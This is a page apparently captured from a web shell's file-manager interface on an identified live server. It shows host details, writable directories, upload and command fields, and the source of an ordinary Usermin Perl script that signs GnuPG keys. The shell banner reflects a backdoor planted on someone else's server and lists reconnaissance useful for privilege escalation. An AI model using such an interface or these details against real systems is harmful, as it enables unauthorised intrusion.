Private
Server IP : 195.201.23.43  /  Your IP : 3.22.42.249
Web Server : Apache
System : Linux webserver2.vercom.be 5.4.0-192-generic #212-Ubuntu SMP Fri Jul 5 09:47:39 UTC 2024 x86_64
User : kdecoratie ( 1041)
PHP Version : 7.1.33-63+ubuntu20.04.1+deb.sury.org+1
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/share/usermin/gnupg/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /usr/share/usermin/gnupg//signkey.cgi
#!/usr/bin/perl
# signkey.cgi
# Sign a key, after asking the user if he is sure

require './gnupg-lib.pl';
&ReadParse();
&ui_print_header(undef, $text{'signkey_title'}, "");

@keys = &list_keys();
$key = $keys[$in{'idx'}];
($secret) = grep { $_->{'secret'} } @keys;

if ($in{'confirm'}) {
	# Do it!
	$cmd = "$gpgpath --edit-key \"$key->{'name'}->[0]\"";
	($fh, $fpid) = &foreign_call("proc", "pty_process_exec", $cmd);
	&wait_for($fh, "command>");
	syswrite($fh, "sign\n");
	while(1) {
		$rv = &wait_for($fh, "really sign all",
				'really sign\?', "already", "your selection",
				"passphrase", "nothing to sign", "command>",
				"(error|failed).*", "expire at the same time");
		sleep(1);
		if ($rv == 0 || $rv == 1) {
			syswrite($fh, "y\n");
			}
		elsif ($rv == 2 || $rv == 5) {
			print "<p>",&text('signkey_already',
				  "<tt>$key->{'name'}->[0]</tt>"),"<p>\n";
			last;
			}
		elsif ($rv == 3) {
			syswrite($fh, $in{'trust'}."\n");
			}
		elsif ($rv == 4) {
			$pass = &get_passphrase();
			syswrite($fh, "$pass\n");
			}
		elsif ($rv == 6) {
			print "<p>",&text('signkey_success',
			  "<tt>$key->{'name'}->[0]</tt>"),"<p>\n";
			last;
			}
		elsif ($rv == 7) {
			print "<p>",&text('signkey_failed',
			  "<tt>$key->{'name'}->[0]</tt>",
			  "<pre>$wait_for_input</pre>"),"<p>\n";
			last;
			}
		elsif ($rv == 8) {
			syswrite($fh, "y\n");
			}
		else {
			# Unknown response!
			last;
			}
		}
	syswrite($fh, "quit\n");
	$rv = &wait_for($fh, "save changes");
	if ($rv == 0) {
		syswrite($fh, "y\n");
		sleep(1);
		}
	close($fh);
	}
else {
	# Ask the user if he is sure
	print &ui_confirmation_form("signkey.cgi", 
	  &text('signkey_confirm', "<tt>$key->{'name'}->[0]</tt>",
	  $key->{'email'}->[0] ? "&lt;<tt>$key->{'email'}->[0]</tt>&gt;" : "",
	  "<tt>".&key_fingerprint($key)."</tt>"),
	  [ [ "idx", $key->{'index'} ] ],
	  [ [ "confirm", $text{'key_sign'} ] ],
	  $text{'signkey_trustlevel'}." ".
	  &ui_select("trust", 0,
		     [ map { [ $_, $text{'signkey_trust'.$_} ] } (0..3) ])
	  );
	}

&ui_print_footer("list_keys.cgi", $text{'keys_return'},
	"", $text{'index_return'});

Private